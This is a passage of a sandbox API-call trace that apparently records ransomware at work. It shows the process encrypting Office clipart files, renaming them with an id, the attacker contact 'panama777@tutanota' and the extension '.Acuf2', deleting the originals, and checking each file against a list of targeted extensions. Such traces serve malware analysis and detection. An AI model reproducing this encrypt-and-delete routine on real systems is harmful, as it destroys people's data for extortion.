	[0268.496] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0268.496] GetLastError () returned 0x0
	[0268.497] ReadFile (in: hFile=0x38c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x2606, lpOverlapped=0x0) returned 1
	[0268.663] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x2610, lpOverlapped=0x0) returned 1
	[0268.664] ReadFile (in: hFile=0x38c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.664] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.664] SetEndOfFile (hFile=0x334) returned 1
	[0268.664] CloseHandle (hObject=0x334) returned 1
	[0268.664] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.664] SetEndOfFile (hFile=0x38c) returned 1
	[0268.666] CloseHandle (hObject=0x38c) returned 1
	[0268.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf")) returned 1
	[0268.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63
	[0268.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63
	[0268.667] lstrlenW (lpString=".doc") returned 4
	[0268.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.667] lstrlenW (lpString=".docx") returned 5
	[0268.667] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0268.667] lstrlenW (lpString=".pdf") returned 4
	[0268.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.667] lstrlenW (lpString=".xls") returned 4
	[0268.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.667] lstrlenW (lpString=".xlsx") returned 5
	[0268.667] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0268.667] lstrlenW (lpString=".ppt") returned 4
	[0268.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63
	[0268.667] lstrlenW (lpString=".zip") returned 4
	[0268.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.667] lstrlenW (lpString=".rar") returned 4
	[0268.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.667] lstrlenW (lpString=".bz2") returned 4
	[0268.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.667] lstrlenW (lpString=".7z") returned 3
	[0268.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63
	[0268.667] lstrlenW (lpString=".dbf") returned 4
	[0268.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63
	[0268.667] lstrlenW (lpString=".1cd") returned 4
	[0268.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63
	[0268.667] lstrlenW (lpString=".jpg") returned 4
	[0268.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0269.253] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=17638) returned 1
	[0269.253] CloseHandle (hObject=0x360) returned 1
	[0269.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf")) returned 0x20
	[0269.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0269.328] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.328] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0269.328] GetLastError () returned 0x0
	[0269.328] ReadFile (in: hFile=0x218, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x44e6, lpOverlapped=0x0) returned 1
	[0269.359] WriteFile (in: hFile=0x36c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x44f0, lpOverlapped=0x0) returned 1
	[0269.360] ReadFile (in: hFile=0x218, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.360] WriteFile (in: hFile=0x36c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.361] SetEndOfFile (hFile=0x36c) returned 1
	[0269.361] CloseHandle (hObject=0x36c) returned 1
	[0269.361] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.361] SetEndOfFile (hFile=0x218) returned 1
	[0269.363] CloseHandle (hObject=0x218) returned 1
	[0269.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.363] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf")) returned 1
	[0269.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63
	[0269.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63
	[0269.365] lstrlenW (lpString=".doc") returned 4
	[0269.365] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0269.365] lstrlenW (lpString=".docx") returned 5
	[0269.365] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0269.365] lstrlenW (lpString=".pdf") returned 4
	[0269.366] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0269.366] lstrlenW (lpString=".xls") returned 4
	[0269.366] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0269.366] lstrlenW (lpString=".xlsx") returned 5
	[0269.366] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0269.366] lstrlenW (lpString=".ppt") returned 4
	[0269.366] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0269.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63
	[0269.366] lstrlenW (lpString=".zip") returned 4
	[0269.366] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0269.366] lstrlenW (lpString=".rar") returned 4
	[0269.366] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0269.366] lstrlenW (lpString=".bz2") returned 4
	[0269.366] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0269.366] lstrlenW (lpString=".7z") returned 3
	[0269.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0269.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63
	[0269.366] lstrlenW (lpString=".dbf") returned 4
	[0269.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0269.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63
	[0269.366] lstrlenW (lpString=".1cd") returned 4
	[0269.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0269.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63
	[0269.366] lstrlenW (lpString=".jpg") returned 4
	[0269.366] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0269.508] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=13874) returned 1
	[0269.508] CloseHandle (hObject=0x384) returned 1
	[0269.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf")) returned 0x20
	[0269.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0269.626] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.626] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0269.627] GetLastError () returned 0x0
	[0269.627] ReadFile (in: hFile=0x36c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x3632, lpOverlapped=0x0) returned 1
	[0269.629] WriteFile (in: hFile=0x394, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x3640, lpOverlapped=0x0) returned 1
	[0269.630] ReadFile (in: hFile=0x36c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.630] WriteFile (in: hFile=0x394, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.630] SetEndOfFile (hFile=0x394) returned 1
	[0269.630] CloseHandle (hObject=0x394) returned 1
	[0269.630] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.630] SetEndOfFile (hFile=0x36c) returned 1
	[0269.632] CloseHandle (hObject=0x36c) returned 1
	[0269.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.633] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf")) returned 1
	[0269.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63
	[0269.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63
	[0269.633] lstrlenW (lpString=".doc") returned 4
	[0269.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0269.633] lstrlenW (lpString=".docx") returned 5
	[0269.633] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0269.633] lstrlenW (lpString=".pdf") returned 4
	[0269.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0269.633] lstrlenW (lpString=".xls") returned 4
	[0269.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0269.633] lstrlenW (lpString=".xlsx") returned 5
	[0269.633] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0269.633] lstrlenW (lpString=".ppt") returned 4
	[0269.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0269.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63
	[0269.633] lstrlenW (lpString=".zip") returned 4
	[0269.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0269.633] lstrlenW (lpString=".rar") returned 4
	[0269.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0269.633] lstrlenW (lpString=".bz2") returned 4
	[0269.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0269.633] lstrlenW (lpString=".7z") returned 3
	[0269.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0269.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63
	[0269.634] lstrlenW (lpString=".dbf") returned 4
	[0269.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0269.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63
	[0269.634] lstrlenW (lpString=".1cd") returned 4
	[0269.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0269.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63
	[0269.634] lstrlenW (lpString=".jpg") returned 4
	[0269.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0269.634] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=8826) returned 1
	[0269.634] CloseHandle (hObject=0x36c) returned 1
	[0269.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg")) returned 0x20
	[0269.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0269.635] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.635] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0269.635] GetLastError () returned 0x0
	[0269.635] ReadFile (in: hFile=0x36c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x227a, lpOverlapped=0x0) returned 1
	[0269.637] WriteFile (in: hFile=0x394, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x2280, lpOverlapped=0x0) returned 1
	[0269.637] ReadFile (in: hFile=0x36c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.637] WriteFile (in: hFile=0x394, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.638] SetEndOfFile (hFile=0x394) returned 1
	[0269.638] CloseHandle (hObject=0x394) returned 1
	[0269.638] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.638] SetEndOfFile (hFile=0x36c) returned 1
	[0269.647] CloseHandle (hObject=0x36c) returned 1
	[0269.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg")) returned 1
	[0269.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63
	[0269.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63
	[0269.647] lstrlenW (lpString=".doc") returned 4
	[0269.647] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0269.647] lstrlenW (lpString=".docx") returned 5
	[0269.647] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0269.647] lstrlenW (lpString=".pdf") returned 4
	[0269.647] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0269.647] lstrlenW (lpString=".xls") returned 4
	[0269.647] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0269.648] lstrlenW (lpString=".xlsx") returned 5
	[0269.648] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0269.648] lstrlenW (lpString=".ppt") returned 4
	[0269.648] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0269.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63
	[0269.648] lstrlenW (lpString=".zip") returned 4
	[0269.648] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0269.648] lstrlenW (lpString=".rar") returned 4
	[0269.648] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0269.648] lstrlenW (lpString=".bz2") returned 4
	[0269.648] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0269.648] lstrlenW (lpString=".7z") returned 3
	[0269.648] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0269.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63
	[0269.648] lstrlenW (lpString=".dbf") returned 4
	[0269.648] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0269.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63
	[0269.648] lstrlenW (lpString=".1cd") returned 4
	[0269.648] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0269.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63
	[0269.648] lstrlenW (lpString=".jpg") returned 4
	[0269.648] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0269.649] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=13954) returned 1
	[0269.649] CloseHandle (hObject=0x36c) returned 1
	[0269.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg")) returned 0x20
	[0269.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0269.649] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.649] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0269.649] GetLastError () returned 0x0
	[0269.649] ReadFile (in: hFile=0x36c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x3682, lpOverlapped=0x0) returned 1
	[0269.933] WriteFile (in: hFile=0x394, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x3690, lpOverlapped=0x0) returned 1
	[0269.934] ReadFile (in: hFile=0x36c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.934] WriteFile (in: hFile=0x394, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.934] SetEndOfFile (hFile=0x394) returned 1
	[0270.279] CloseHandle (hObject=0x394) returned 1
	[0270.281] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.285] SetEndOfFile (hFile=0x36c) returned 1
	[0270.315] CloseHandle (hObject=0x36c) returned 1
	[0270.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0270.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg")) returned 1
	[0270.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63
